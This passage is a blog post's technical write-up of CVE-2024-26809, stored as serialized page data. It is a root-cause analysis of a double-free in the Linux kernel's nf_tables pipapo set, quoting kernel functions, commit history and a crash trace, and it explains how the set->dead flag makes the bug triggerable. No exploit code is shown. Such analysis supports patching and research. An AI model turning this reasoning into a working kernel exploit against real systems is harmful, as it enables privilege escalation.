set",{"type":23,"tag":314,"props":52382,"children":52383},{"style":338},[52384],{"type":28,"value":1015},{"type":23,"tag":314,"props":52386,"children":52387},{"style":360},[52388],{"type":28,"value":51921},{"type":23,"tag":314,"props":52390,"children":52391},{"style":338},[52392],{"type":28,"value":1015},{"type":23,"tag":314,"props":52394,"children":52395},{"style":332},[52396],{"type":28,"value":51930},{"type":23,"tag":314,"props":52398,"children":52399},{"style":338},[52400],{"type":28,"value":52401},"(set);",{"type":23,"tag":314,"props":52403,"children":52404},{"style":374},[52405],{"type":28,"value":52406}," // [5]\n",{"type":23,"tag":314,"props":52408,"children":52409},{"class":316,"line":1387},[52410],{"type":23,"tag":314,"props":52411,"children":52412},{"style":338},[52413],{"type":28,"value":8845},{"type":23,"tag":314,"props":52415,"children":52416},{"class":316,"line":1422},[52417],{"type":23,"tag":314,"props":52418,"children":52419},{"style":338},[52420],{"type":28,"value":386},{"type":23,"tag":24,"props":52422,"children":52423},{},[52424,52426,52432,52434,52439,52440,52445],{"type":28,"value":52425},"Later on, the ",{"type":23,"tag":94,"props":52427,"children":52429},{"className":52428},[],[52430],{"type":28,"value":52431},"nf_tables_commit_release()",{"type":28,"value":52433}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":23,"tag":94,"props":52435,"children":52437},{"className":52436},[],[52438],{"type":28,"value":50270},{"type":28,"value":51590},{"type":23,"tag":94,"props":52441,"children":52443},{"className":52442},[],[52444],{"type":28,"value":51604},{"type":28,"value":52446}," method.",{"type":23,"tag":304,"props":52448,"children":52450},{"className":306,"code":52449,"language":308,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n nft_trans_list_del(trans);\n nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[52451],{"type":23,"tag":94,"props":52452,"children":52453},{"__ignoreMap":7},[52454,52493,52500,52507,52528,52535,52542,52549,52590,52597,52604,52625,52638,52650,52657,52664,52671,52712,52719,52747,52754,52767,52779,52820,52827,52834,52841,52899,52906,52913,52942,52949],{"type":23,"tag":314,"props":52455,"children":52456},{"class":316,"line":317},[52457,52461,52465,52469,52473,52477,52481,52485,52489],{"type":23,"tag":314,"props":52458,"children":52459},{"style":321},[52460],{"type":28,"value":50295},{"type":23,"tag":314,"props":52462,"children":52463},{"style":321},[52464],{"type":28,"value":50300},{"type":23,"tag":314,"props":52466,"children":52467},{"style":332},[52468],{"type":28,"value":52097},{"type":23,"tag":314,"props":52470,"children":52471},{"style":338},[52472],{"type":28,"value":341},{"type":23,"tag":314,"props":52474,"children":52475},{"style":321},[52476],{"type":28,"value":8651},{"type":23,"tag":314,"props":52478,"children":52479},{"style":338},[52480],{"type":28,"value":51253},{"type":23,"tag":314,"props":52482,"children":52483},{"style":354},[52484],{"type":28,"value":256},{"type":23,"tag":314,"props":52486,"children":52487},{"style":360},[52488],{"type":28,"value":51262},{"type":23,"tag":314,"props":52490,"children":52491},{"style":338},[52492],{"type":28,"value":2414},{"type":23,"tag":314,"props":52494,"children":52495},{"class":316,"line":370},[52496],{"type":23,"tag":314,"props":52497,"children":52498},{"style":338},[52499],{"type":28,"value":10129},{"type":23,"tag":314,"props":52501,"children":52502},{"class":316,"line":380},[52503],{"type":23,"tag":314,"props":52504,"children":52505},{"style":338},[52506],{"type":28,"value":9566},{"type":23,"tag":314,"props":52508,"children":52509},{"class":316,"line":1091},[52510,52515,52519,52523],{"type":23,"tag":314,"props":52511,"children":52512},{"style":332},[52513],{"type":28,"value":52514}," schedule_work",{"type":23,"tag":314,"props":52516,"children":52517},{"style":338},[52518],{"type":28,"value":341},{"type":23,"tag":314,"props":52520,"children":52521},{"style":354},[52522],{"type":28,"value":1833},{"type":23,"tag":314,"props":52524,"children":52525},{"style":338},[52526],{"type":28,"value":52527},"trans_destroy_work);\n",{"type":23,"tag":314,"props":52529,"children":52530},{"class":316,"line":1141},[52531],{"type":23,"tag":314,"props":52532,"children":52533},{"style":338},[52534],{"type":28,"value":9566},{"type":23,"tag":314,"props":52536,"children":52537},{"class":316,"line":1173},[52538],{"type":23,"tag":314,"props":52539,"children":52540},{"style":338},[52541],{"type":28,"value":386},{"type":23,"tag":314,"props":52543,"children":52544},{"class":316,"line":1208},[52545],{"type":23,"tag":314,"props":52546,"children":52547},{"style":338},[52548],{"type":28,"value":9566},{"type":23,"tag":314,"props":52550,"children":52551},{"class":316,"line":1216},[52552,52556,52560,52565,52569,52573,52578,52582,52586],{"type":23,"tag":314,"props":52553,"children":52554},{"style":321},[52555],{"type":28,"value":50295},{"type":23,"tag":314,"props":52557,"children":52558},{"style":321},[52559],{"type":28,"value":50300},{"type":23,"tag":314,"props":52561,"children":52562},{"style":332},[52563],{"type":28,"value":52564}," nf_tables_trans_destroy_work",{"type":23,"tag":314,"props":52566,"children":52567},{"style":338},[52568],{"type":28,"value":341},{"type":23,"tag":314,"props":52570,"children":52571},{"style":321},[52572],{"type":28,"value":8651},{"type":23,"tag":314,"props":52574,"children":52575},{"style":338},[52576],{"type":28,"value":52577}," work_struct ",{"type":23,"tag":314,"props":52579,"children":52580},{"style":354},[52581],{"type":28,"value":256},{"type":23,"tag":314,"props":52583,"children":52584},{"style":360},[52585],{"type":28,"value":48822},{"type":23,"tag":314,"props":52587,"children":52588},{"style":338},[52589],{"type":28,"value":2414},{"type":23,"tag":314,"props":52591,"children":52592},{"class":316,"line":1301},[52593],{"type":23,"tag":314,"props":52594,"children":52595},{"style":338},[52596],{"type":28,"value":10129},{"type":23,"tag":314,"props":52598,"children":52599},{"class":316,"line":1343},[52600],{"type":23,"tag":314,"props":52601,"children":52602},{"style":338},[52603],{"type":28,"value":9566},{"type":23,"tag":314,"props":52605,"children":52606},{"class":316,"line":1351},[52607,52611,52616,52620],{"type":23,"tag":314,"props":52608,"children":52609},{"style":332},[52610],{"type":28,"value":52249},{"type":23,"tag":314,"props":52612,"children":52613},{"style":338},[52614],{"type":28,"value":52615},"(trans, next, ",{"type":23,"tag":314,"props":52617,"children":52618},{"style":354},[52619],{"type":28,"value":1833},{"type":23,"tag":314,"props":52621,"children":52622},{"style":338},[52623],{"type":28,"value":52624},"head, list) {\n",{"type":23,"tag":314,"props":52626,"children":52627},{"class":316,"line":1387},[52628,52633],{"type":23,"tag":314,"props":52629,"children":52630},{"style":332},[52631],{"type":28,"value":52632}," nft_trans_list_del",{"type":23,"tag":314,"props":52634,"children":52635},{"style":338},[52636],{"type":28,"value":52637},"(trans);\n",{"type":23,"tag":314,"props":52639,"children":52640},{"class":316,"line":1422},[52641,52646],{"type":23,"tag":314,"props":52642,"children":52643},{"style":332},[52644],{"type":28,"value":52645}," nft_commit_release",{"type":23,"tag":314,"props":52647,"children":52648},{"style":338},[52649],{"type":28,"value":52637},{"type":23,"tag":314,"props":52651,"children":52652},{"class":316,"line":1430},[52653],{"type":23,"tag":314,"props":52654,"children":52655},{"style":338},[52656],{"type":28,"value":8845},{"type":23,"tag":314,"props":52658,"children":52659},{"class":316,"line":1452},[52660],{"type":23,"tag":314,"props":52661,"children":52662},{"style":338},[52663],{"type":28,"value":386},{"type":23,"tag":314,"props":52665,"children":52666},{"class":316,"line":1497},[52667],{"type":23,"tag":314,"props":52668,"children":52669},{"style":338},[52670],{"type":28,"value":9566},{"type":23,"tag":314,"props":52672,"children":52673},{"class":316,"line":1539},[52674,52678,52682,52687,52691,52695,52700,52704,52708],{"type":23,"tag":314,"props":52675,"children":52676},{"style":321},[52677],{"type":28,"value":50295},{"type":23,"tag":314,"props":52679,"children":52680},{"style":321},[52681],{"type":28,"value":50300},{"type":23,"tag":314,"props":52683,"children":52684},{"style":332},[52685],{"type":28,"value":52686}," nft_commit_release",{"type":23,"tag":314,"props":52688,"children":52689},{"style":338},[52690],{"type":28,"value":341},{"type":23,"tag":314,"props":52692,"children":52693},{"style":321},[52694],{"type":28,"value":8651},{"type":23,"tag":314,"props":52696,"children":52697},{"style":338},[52698],{"type":28,"value":52699}," nft_trans ",{"type":23,"tag":314,"props":52701,"children":52702},{"style":354},[52703],{"type":28,"value":256},{"type":23,"tag":314,"props":52705,"children":52706},{"style":360},[52707],{"type":28,"value":51812},{"type":23,"tag":314,"props":52709,"children":52710},{"style":338},[52711],{"type":28,"value":2414},{"type":23,"tag":314,"props":52713,"children":52714},{"class":316,"line":1548},[52715],{"type":23,"tag":314,"props":52716,"children":52717},{"style":338},[52718],{"type":28,"value":10129},{"type":23,"tag":314,"props":52720,"children":52721},{"class":316,"line":1584},[52722,52727,52731,52735,52739,52743],{"type":23,"tag":314,"props":52723,"children":52724},{"style":2284},[52725],{"type":28,"value":52726}," switch",{"type":23,"tag":314,"props":52728,"children":52729},{"style":338},[52730],{"type":28,"value":2324},{"type":23,"tag":314,"props":52732,"children":52733},{"style":360},[52734],{"type":28,"value":51812},{"type":23,"tag":314,"props":52736,"children":52737},{"style":338},[52738],{"type":28,"value":1015},{"type":23,"tag":314,"props":52740,"children":52741},{"style":360},[52742],{"type":28,"value":51850},{"type":23,"tag":314,"props":52744,"children":52745},{"style":338},[52746],{"type":28,"value":367},{"type":23,"tag":314,"props":52748,"children":52749},{"class":316,"line":1617},[52750],{"type":23,"tag":314,"props":52751,"children":52752},{"style":338},[52753],{"type":28,"value":9566},{"type":23,"tag":314,"props":52755,"children":52756},{"class":316,"line":1625},[52757,52762],{"type":23,"tag":314,"props":52758,"children":52759},{"style":2284},[52760],{"type":28,"value":52761}," case",{"type":23,"tag":314,"props":52763,"children":52764},{"style":338},[52765],{"type":28,"value":52766}," NFT_MSG_DELSET:\n",{"type":23,"tag":314,"props":52768,"children":52769},{"class":316,"line":1660},[52770,52774],{"type":23,"tag":314,"props":52771,"children":52772},{"style":2284},[52773],{"type":28,"value":52761},{"type":23,"tag":314,"props":52775,"children":52776},{"style":338},[52777],{"type":28,"value":52778}," NFT_MSG_DESTROYSET:\n",{"type":23,"tag":314,"props":52780,"children":52781},{"class":316,"line":1708},[52782,52787,52791,52795,52799,52803,52807,52811,52815],{"type":23,"tag":314,"props":52783,"children":52784},{"style":332},[52785],{"type":28,"value":52786}," nft_set_destroy",{"type":23,"tag":314,"props":52788,"children":52789},{"style":338},[52790],{"type":28,"value":341},{"type":23,"tag":314,"props":52792,"children":52793},{"style":354},[52794],{"type":28,"value":1833},{"type":23,"tag":314,"props":52796,"children":52797},{"style":338},[52798],{"type":28,"value":51812},{"type":23,"tag":314,"props":52800,"children":52801},{"style":354},[52802],{"type":28,"value":1015},{"type":23,"tag":314,"props":52804,"children":52805},{"style":360},[52806],{"type":28,"value":19518},{"type":23,"tag":314,"props":52808,"children":52809},{"style":338},[52810],{"type":28,"value":778},{"type":23,"tag":314,"props":52812,"children":52813},{"style":332},[52814],{"type":28,"value":51778},{"type":23,"tag":314,"props":52816,"children":52817},{"style":338},[52818],{"type":28,"value":52819},"(trans));\n",{"type":23,"tag":314,"props":52821,"children":52822},{"class":316,"line":1743},[52823],{"type":23,"tag":314,"props":52824,"children":52825},{"style":338},[52826],{"type":28,"value":9566},{"type":23,"tag":314,"props":52828,"children":52829},{"class":316,"line":1751},[52830],{"type":23,"tag":314,"props":52831,"children":52832},{"style":338},[52833],{"type":28,"value":386},{"type":23,"tag":314,"props":52835,"children":52836},{"class":316,"line":1791},[52837],{"type":23,"tag":314,"props":52838,"children":52839},{"style":338},[52840],{"type":28,"value":9566},{"type":23,"tag":314,"props":52842,"children":52843},{"class":316,"line":1805},[52844,52848,52852,52857,52861,52865,52869,52873,52877,52882,52886,52890,52894],{"type":23,"tag":314,"props":52845,"children":52846},{"style":321},[52847],{"type":28,"value":50295},{"type":23,"tag":314,"props":52849,"children":52850},{"style":321},[52851],{"type":28,"value":50300},{"type":23,"tag":314,"props":52853,"children":52854},{"style":332},[52855],{"type":28,"value":52856}," nft_set_destroy",{"type":23,"tag":314,"props":52858,"children":52859},{"style":338},[52860],{"type":28,"value":341},{"type":23,"tag":314,"props":52862,"children":52863},{"style":321},[52864],{"type":28,"value":346},{"type":23,"tag":314,"props":52866,"children":52867},{"style":321},[52868],{"type":28,"value":20388},{"type":23,"tag":314,"props":52870,"children":52871},{"style":338},[52872],{"type":28,"value":50322},{"type":23,"tag":314,"props":52874,"children":52875},{"style":354},[52876],{"type":28,"value":256},{"type":23,"tag":314,"props":52878,"children":52879},{"style":338},[52880],{"type":28,"value":52881},"ctx, ",{"type":23,"tag":314,"props":52883,"children":52884},{"style":321},[52885],{"type":28,"value":8651},{"type":23,"tag":314,"props":52887,"children":52888},{"style":338},[52889],{"type":28,"value":50350},{"type":23,"tag":314,"props":52891,"children":52892},{"style":354},[52893],{"type":28,"value":256},{"type":23,"tag":314,"props":52895,"children":52896},{"style":338},[52897],{"type":28,"value":52898},"set)\n",{"type":23,"tag":314,"props":52900,"children":52901},{"class":316,"line":1818},[52902],{"type":23,"tag":314,"props":52903,"children":52904},{"style":338},[52905],{"type":28,"value":10129},{"type":23,"tag":314,"props":52907,"children":52908},{"class":316,"line":1873},[52909],{"type":23,"tag":314,"props":52910,"children":52911},{"style":338},[52912],{"type":28,"value":9566},{"type":23,"tag":314,"props":52914,"children":52915},{"class":316,"line":1891},[52916,52920,52924,52928,52932,52937],{"type":23,"tag":314,"props":52917,"children":52918},{"style":360},[52919],{"type":28,"value":52337},{"type":23,"tag":314,"props":52921,"children":52922},{"style":338},[52923],{"type":28,"value":1015},{"type":23,"tag":314,"props":52925,"children":52926},{"style":360},[52927],{"type":28,"value":51921},{"type":23,"tag":314,"props":52929,"children":52930},{"style":338},[52931],{"type":28,"value":1015},{"type":23,"tag":314,"props":52933,"children":52934},{"style":332},[52935],{"type":28,"value":52936},"destroy",{"type":23,"tag":314,"props":52938,"children":52939},{"style":338},[52940],{"type":28,"value":52941},"(ctx, set);\n",{"type":23,"tag":314,"props":52943,"children":52944},{"class":316,"line":1899},[52945],{"type":23,"tag":314,"props":52946,"children":52947},{"style":338},[52948],{"type":28,"value":9566},{"type":23,"tag":314,"props":52950,"children":52951},{"class":316,"line":1944},[52952],{"type":23,"tag":314,"props":52953,"children":52954},{"style":338},[52955],{"type":28,"value":386},{"type":23,"tag":24,"props":52957,"children":52958},{},[52959,52961,52966,52968,52973,52975,52981,52983,52988,52990,52995,52997,53001,53003,53008,53009,53013,53015,53021],{"type":28,"value":52960},"It may appear as if it would be impossible to make ",{"type":23,"tag":94,"props":52962,"children":52964},{"className":52963},[],[52965],{"type":28,"value":50224},{"type":28,"value":52967}," true in the release step because the ",{"type":23,"tag":94,"props":52969,"children":52971},{"className":52970},[],[52972],{"type":28,"value":51596},{"type":28,"value":52974}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":23,"tag":94,"props":52976,"children":52978},{"className":52977},[],[52979],{"type":28,"value":52980},"set->dead",{"type":28,"value":52982}," flag. If a ",{"type":23,"tag":94,"props":52984,"children":52986},{"className":52985},[],[52987],{"type":28,"value":50270},{"type":28,"value":52989}," was marked for deletion, it receives the ",{"type":23,"tag":94,"props":52991,"children":52993},{"className":52992},[],[52994],{"type":28,"value":52980},{"type":28,"value":52996}," flag ",{"type":23,"tag":314,"props":52998,"children":52999},{},[53000],{"type":28,"value":2378},{"type":28,"value":53002},". If this flag is set, then the commit path will skip any commitments to this ",{"type":23,"tag":94,"props":53004,"children":53006},{"className":53005},[],[53007],{"type":28,"value":50270},{"type":28,"value":5713},{"type":23,"tag":314,"props":53010,"children":53011},{},[53012],{"type":28,"value":1567},{"type":28,"value":53014},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":23,"tag":94,"props":53016,"children":53018},{"className":53017},[],[53019],{"type":28,"value":53020},"priv ->dirty",{"type":28,"value":53022}," flag is not cleared when it should have been.",{"type":23,"tag":61,"props":53024,"children":53026},{"id":53025},"tracing-the-guilty-commit",[53027],{"type":28,"value":53028},"Tracing the guilty commit",{"type":23,"tag":24,"props":53030,"children":53031},{},[53032,53034,53041,53043,53049,53051,53056,53058,53064],{"type":28,"value":53033},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":23,"tag":31,"props":53035,"children":53038},{"href":53036,"rel":53037},"https://ubuntu.com/security/CVE-2024-26809",[35],[53039],{"type":28,"value":53040},"advisories",{"type":28,"value":53042}," about this vulnerability will say it was introduced by this ",{"type":23,"tag":31,"props":53044,"children":53047},{"href":53045,"rel":53046},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[35],[53048],{"type":28,"value":51930},{"type":28,"value":53050},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":23,"tag":94,"props":53052,"children":53054},{"className":53053},[],[53055],{"type":28,"value":52980},{"type":28,"value":53057}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":23,"tag":31,"props":53059,"children":53062},{"href":53060,"rel":53061},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[35],[53063],{"type":28,"value":51930},{"type":28,"value":282},{"type":23,"tag":24,"props":53066,"children":53067},{},[53068],{"type":28,"value":53069},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":23,"tag":304,"props":53071,"children":53075},{"className":53072,"code":53073,"language":53074,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919] \u003CTASK>\n[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952] ? __nla_validate_parse+0x48/0x190\n[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963] netlink_unicast+0x211/0x340\n[16302.231969] netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[53076],{"type":23,"tag":94,"props":53077,"children":53078},{"__ignoreMap":7},[53079,53087,53095,53102,53110,53118,53125,53133,53140,53148,53156,53163,53171,53179,53187,53195,53203,53211,53219,53227,53235,53242,53250,53258,53265,53273,53281,53289,53297,53305,53312,53320,53328],{"type":23,"tag":314,"props":53080,"children":53081},{"class":316,"line":317},[53082],{"type":23,"tag":314,"props":53083,"children":53084},{},[53085],{"type":28,"value":53086},"New elements that reside in the clone are not released in case that the\n",{"type":23,"tag":314,"props":53088,"children":53089},{"class":316,"line":370},[53090],{"type":23,"tag":314,"props":53091,"children":53092},{},[53093],{"type":28,"value":53094},"transaction is aborted.\n",{"type":23,"tag":314,"props":53096,"children":53097},{"class":316,"line":380},[53098],{"type":23,"tag":314,"props":53099,"children":53100},{"emptyLinePlaceholder":18},[53101],{"type":28,"value":1088},{"type":23,"tag":314,"props":53103,"children":53104},{"class":316,"line":1091},[53105],{"type":23,"tag":314,"props":53106,"children":53107},{},[53108],{"type":28,"value":53109},"[16302.231754] ------------[ cut here ]------------\n",{"type":23,"tag":314,"props":53111,"children":53112},{"class":316,"line":1141},[53113],{"type":23,"tag":314,"props":53114,"children":53115},{},[53116],{"type":28,"value":53117},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":314,"props":53119,"children":53120},{"class":316,"line":1173},[53121],{"type":23,"tag":314,"props":53122,"children":53123},{},[53124],{"type":28,"value":9566},{"type":23,"tag":314,"props":53126,"children":53127},{"class":316,"line":1208},[53128],{"type":23,"tag":314,"props":53129,"children":53130},{},[53131],{"type":28,"value":53132},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n",{"type":23,"tag":314,"props":53134,"children":53135},{"class":316,"line":1216},[53136],{"type":23,"tag":314,"props":53137,"children":53138},{},[53139],{"type":28,"value":9566},{"type":23,"tag":314,"props":53141,"children":53142},{"class":316,"line":1301},[53143],{"type":23,"tag":314,"props":53144,"children":53145},{},[53146],{"type":28,"value":53147},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":314,"props":53149,"children":53150},{"class":316,"line":1343},[53151],{"type":23,"tag":314,"props":53152,"children":53153},{},[53154],{"type":28,"value":53155},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":23,"tag":314,"props":53157,"children":53158},{"class":316,"line":1351},[53159],{"type":23,"tag":314,"props":53160,"children":53161},{},[53162],{"type":28,"value":9566},{"type":23,"tag":314,"props":53164,"children":53165},{"class":316,"line":1387},[53166],{"type":23,"tag":314,"props":53167,"children":53168},{},[53169],{"type":28,"value":53170},"[16302.231917] Call Trace:\n",{"type":23,"tag":314,"props":53172,"children":53173},{"class":316,"line":1422},[53174],{"type":23,"tag":314,"props":53175,"children":53176},{},[53177],{"type":28,"value":53178},"[16302.231919] \u003CTASK>\n",{"type":23,"tag":314,"props":53180,"children":53181},{"class":316,"line":1430},[53182],{"type":23,"tag":314,"props":53183,"children":53184},{},[53185],{"type":28,"value":53186},"[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":23,"tag":314,"props":53188,"children":53189},{"class":316,"line":1452},[53190],{"type":23,"tag":314,"props":53191,"children":53192},{},[53193],{"type":28,"value":53194},"[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":23,"tag":314,"props":53196,"children":53197},{"class":316,"line":1497},[53198],{"type":23,"tag":314,"props":53199,"children":53200},{},[53201],{"type":28,"value":53202},"[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":23,"tag":314,"props":53204,"children":53205},{"class":316,"line":1539},[53206],{"type":23,"tag":314,"props":53207,"children":53208},{},[53209],{"type":28,"value":53210},"[16302.231952] ? __nla_validate_parse+0x48/0x190\n",{"type":23,"tag":314,"props":53212,"children":53213},{"class":316,"line":1548},[53214],{"type":23,"tag":314,"props":53215,"children":53216},{},[53217],{"type":28,"value":53218},"[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":23,"tag":314,"props":53220,"children":53221},{"class":316,"line":1584},[53222],{"type":23,"tag":314,"props":53223,"children":53224},{},[53225],{"type":28,"value":53226},"[16302.231963] netlink_unicast+0x211/0x340\n",{"type":23,"tag":314,"props":53228,"children":53229},{"class":316,"line":1617},[53230],{"type":23,"tag":314,"props":53231,"children":53232},{},[53233],{"type":28,"value":53234},"[16302.231969] netlink_sendmsg+0x21e/0x460\n",{"type":23,"tag":314,"props":53236,"children":53237},{"class":316,"line":1625},[53238],{"type":23,"tag":314,"props":53239,"children":53240},{"emptyLinePlaceholder":18},[53241],{"type":28,"value":1088},{"type":23,"tag":314,"props":53243,"children":53244},{"class":316,"line":1660},[53245],{"type":23,"tag":314,"props":53246,"children":53247},{},[53248],{"type":28,"value":53249},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":23,"tag":314,"props":53251,"children":53252},{"class":316,"line":1708},[53253],{"type":23,"tag":314,"props":53254,"children":53255},{},[53256],{"type":28,"value":53257},"elements in the lookup tables.\n",{"type":23,"tag":314,"props":53259,"children":53260},{"class":316,"line":1743},[53261],{"type":23,"tag":314,"props":53262,"children":53263},{"emptyLinePlaceholder":18},[53264],{"type":28,"value":1088},{"type":23,"tag":314,"props":53266,"children":53267},{"class":316,"line":1751},[53268],{"type":23,"tag":314,"props":53269,"children":53270},{},[53271],{"type":28,"value":53272},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":23,"tag":314,"props":53274,"children":53275},{"class":316,"line":1791},[53276],{"type":23,"tag":314,"props":53277,"children":53278},{},[53279],{"type":28,"value":53280},"cloned matching data if priv->dirty is set, because that means that\n",{"type":23,"tag":314,"props":53282,"children":53283},{"class":316,"line":1805},[53284],{"type":23,"tag":314,"props":53285,"children":53286},{},[53287],{"type":28,"value":53288},"cloned data might point to additional elements we did not commit to the\n",{"type":23,"tag":314,"props":53290,"children":53291},{"class":316,"line":1818},[53292],{"type":23,"tag":314,"props":53293,"children":53294},{},[53295],{"type":28,"value":53296},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":23,"tag":314,"props":53298,"children":53299},{"class":316,"line":1873},[53300],{"type":23,"tag":314,"props":53301,"children":53302},{},[53303],{"type":28,"value":53304},"to it).\"\n",{"type":23,"tag":314,"props":53306,"children":53307},{"class":316,"line":1891},[53308],{"type":23,"tag":314,"props":53309,"children":53310},{"emptyLinePlaceholder":18},[53311],{"type":28,"value":1088},{"type":23,"tag":314,"props":53313,"children":53314},{"class":316,"line":1899},[53315],{"type":23,"tag":314,"props":53316,"children":53317},{},[53318],{"type":28,"value":53319},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":23,"tag":314,"props":53321,"children":53322},{"class":316,"line":1944},[53323],{"type":23,"tag":314,"props":53324,"children":53325},{},[53326],{"type":28,"value":53327},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":23,"tag":314,"props":53329,"children":53330},{"class":316,"line":2008},[53331],{"type":23,"tag":314,"props":53332,"children":53333},{},[53334],{"type":28,"value":53335},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":23,"tag":24,"props":53337,"children":53338},{},[53339,53341,53346,53348,53353,53355,53360,53362,53367],{"type":28,"value":53340},"As we previously discussed, committing changes to a pipapo ",{"type":23,"tag":94,"props":53342,"children":53344},{"className":53343},[],[53345],{"type":28,"value":50270},{"type":28,"value":53347}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":23,"tag":94,"props":53349,"children":53351},{"className":53350},[],[53352],{"type":28,"value":51596},{"type":28,"value":53354}," method by simply replacing the ",{"type":23,"tag":94,"props":53356,"children":53358},{"className":53357},[],[53359],{"type":28,"value":50270},{"type":28,"value":53361},"s match object with its updated clone. So checking the ",{"type":23,"tag":94,"props":53363,"children":53365},{"className":53364},[],[53366],{"type":28,"value":50224},{"type":28,"value":53368}," flag and then calling free again ensures we also free uncommitted changes.",{"type":23,"tag":24,"props":53370,"children":53371},{},[53372,53374,53379],{"type":28,"value":53373},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":23,"tag":94,"props":53375,"children":53377},{"className":53376},[],[53378],{"type":28,"value":50270},{"type":28,"value":53380},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":23,"tag":24,"props":53382,"children":53383},{},[53384,53386,53392,53394,53399,53401,53406],{"type":28,"value":53385},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":23,"tag":94,"props":53387,"children":53389},{"className":53388},[],[53390],{"type":28,"value":53391},"set->ops->destroy()",{"type":28,"value":53393}," could be called without clearing the ",{"type":23,"tag":94,"props":53395,"children":53397},{"className":53396},[],[53398],{"type":28,"value":50224},{"type":28,"value":53400}," flag, which was fine considering you didn't have duplicated views of the ",{"type":23,"tag":94,"props":53402,"children":53404},{"className":53403},[],[53405],{"type":28,"value":50262},{"type":28,"value":53407},"s, so they would all be in the clone set.",{"type":23,"tag":24,"props":53409,"children":53410},{},[53411,53413,53418],{"type":28,"value":53412},"But when the ",{"type":23,"tag":94,"props":53414,"children":53416},{"className":53415},[],[53417],{"type":28,"value":52980},{"type":28,"value":53419}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the 